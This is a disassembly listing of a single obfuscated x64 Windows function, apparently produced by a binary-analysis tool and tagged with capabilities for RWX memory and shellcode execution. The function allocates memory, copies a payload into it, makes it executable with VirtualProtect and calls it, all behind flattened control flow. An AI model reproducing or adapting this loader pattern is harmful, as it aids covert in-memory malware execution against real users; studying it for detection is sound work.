Function at 0x180003a20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x208
mov r12d, edx
mov rdi, rcx
mov rax, qword [0x18000a128]
xor rax, rsp
mov qword [rsp + 0x200], rax
mov eax, edx
mov qword [rsp + 0x60], rax
mov eax, 0x5936e5f2
lea rbx, str.Error
mov r15, qword [sym.imp.USER32.dll_MessageBoxA]
lea rsi, [rsp + 0x6c]
mov r14, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r13d, 0x77875fa4
lea rbp, [rsp + 0x70]
jmp 0x180003aad
mov eax, dword [0x18000a168]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74167f18
mov ecx, 0x9862e7e2
nop word [rax + rax]
cmove eax, ecx
cmp dword [0x18000a16c], 0xa
cmovl eax, ecx
cmp eax, 0x193d937e
jg 0x180003b10
cmp eax, 0xacb5cfa0
jle 0x180003b70
cmp eax, 0xc8593123
jg 0x180003bf6
cmp eax, 0xacb5cfa1
je 0x180003d15
cmp eax, 0xaed96129
je 0x180003d29
cmp eax, 0xbf53d1eb
jne 0x180003aad
mov rax, qword [rsp + 0x58]
call rax
mov eax, dword [0x18000a168]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x48fb9d8
mov ecx, 0x66b11742
jmp 0x180003aa0
cmp eax, 0x39667eb6
jg 0x180003bc0
cmp eax, 0x2f4f0621
jle 0x180003c1d
cmp eax, 0x2f4f0622
je 0x180003d33
cmp eax, 0x32f584ab
je 0x180003d65
cmp eax, 0x387a0289
jne 0x180003aad
xor ecx, ecx
lea rdx, str.Failed_to_set_memory_protection
mov r8, rbx
mov r9d, 0x10
call r15
mov eax, 0x32f584ab
jmp 0x180003aad
cmp eax, 0x9862e7e1
jle 0x180003c4a
cmp eax, 0x9862e7e2
je 0x180003d6f
cmp eax, 0xa2303b7f
je 0x180003da2
cmp eax, 0xa6984b7d
jne 0x180003aad
cmp dword [rsp + 0x44], 0
mov eax, 0xacb5cfa1
mov ecx, 0x387a0289
cmove eax, ecx
jmp 0x180003aad
cmp eax, 0x66b11741
jle 0x180003c7e
cmp eax, 0x66b11742
je 0x180003dac
cmp eax, 0x74167f18
je 0x180003db6
cmp eax, 0x77875fa4
jne 0x180003aad
mov eax, 0xa6984b7d
jmp 0x180003aad
cmp eax, 0xc8593124
je 0x180003dd5
cmp eax, 0x48fb9d8
jne 0x180003e56
mov rax, qword [rsp + 0x58]
call rax
mov eax, 0xbf53d1eb
jmp 0x180003aad
cmp eax, 0x193d937f
je 0x180003a7e
cmp eax, 0x1a78a0b7
jne 0x180003aad
cmp byte [rsp + 0x2f], 0
mov eax, 0x851ca467
mov ecx, 0x193d937f
cmovne eax, ecx
jmp 0x180003aad
cmp eax, 0x851ca467
je 0x180003de4
cmp eax, 0x8af6fb2a
jne 0x180003aad
mov eax, dword [0x18000a168]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x48fb9d8
mov ecx, 0xbf53d1eb
jmp 0x180003aa0
cmp eax, 0x39667eb7
je 0x180003e02
cmp eax, 0x5936e5f2
jne 0x180003aad
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
mov dword [rsp + 0x6c], 0
mov qword [rsp + 0x50], rbp
mov rax, qword [rsp + 0x50]
mov rcx, rbp
lea rdx, str.Check_size:__lu_bytes
mov r8d, r12d
call qword [sym.imp.USER32.dll_wsprintfA]
xor ecx, ecx
mov rdx, rbp
lea r8, str.my_payload_len
mov r9d, 0x40
call r15
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
sete byte [rsp + 0x2f]
mov eax, 0x1a78a0b7
jmp 0x180003aad
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov eax, 0x8af6fb2a
jmp 0x180003aad
mov eax, 0xa2303b7f
jmp 0x180003aad
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x20
mov r9, rsi
call r14
mov eax, 0x39667eb7
jmp 0x180003aad
mov eax, 0xc8593124
jmp 0x180003aad
xor ecx, ecx
lea rdx, str.Failed_to_allocate_memory
mov r8, rbx
mov r9d, 0x10
call r15
mov eax, dword [0x18000a168]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74167f18
mov ecx, 0xaed96129
jmp 0x180003aa0
mov eax, 0xc8593124
jmp 0x180003aad
mov eax, 0xc8593124
jmp 0x180003aad
xor ecx, ecx
lea rdx, str.Failed_to_allocate_memory
mov r8, rbx
mov r9d, 0x10
call r15
mov eax, 0x9862e7e2
jmp 0x180003aad
mov rax, qword [rsp + 0x50]
mov eax, 0x338f3e2
jmp 0x180003aad
mov eax, dword [0x18000a168]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2f4f0622
mov ecx, 0x39667eb7
jmp 0x180003aa0
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x20
mov r9, rsi
call r14
mov dword [rsp + 0x44], eax
mov eax, dword [0x18000a168]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2f4f0622
cmove eax, r13d
cmp dword [0x18000a16c], 0xa
cmovl eax, r13d
jmp 0x180003aad
cmp eax, 0x338f3e2
jne 0x180003aad
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.180006bc0
nop
add rsp, 0x208
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret